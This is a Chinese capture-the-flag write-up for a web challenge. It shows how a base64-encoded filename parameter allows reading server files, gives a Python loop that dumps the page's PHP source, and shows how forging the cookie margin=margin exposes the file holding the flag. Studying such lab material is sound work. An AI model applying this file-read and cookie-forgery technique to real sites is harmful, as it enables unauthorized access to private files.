cookies欺骗
100
http://120.24.86.145:8002/web11/
答案格式:KEY{xxxxxxxx}
解题思路:
打开链接是一串没有意义的字符串,查看源码没有发现什么
观察url ,发现 a2V5cy50eHQ= 是一个base64编码,解码后是keys.txt
http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
尝试用 filename访问index.php(原url使用base64,这也将index.php进行编码),line参数应该是行数,试一下 line=2
出现一行代码,试一下line=3显示了不同的代码
一个个试太麻烦,上脚本将index.php的源码读取出来
import requests
a=30
for i in range(a):
url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print s.text
最后读取出来的源码
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ //看这里
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
分析源码,前面判断传参,后面判断cookie必须满足margin=margin才能访问keys.php,别忘了编码
执行后页面是空白的,emmm右键查看源码,flag出来啦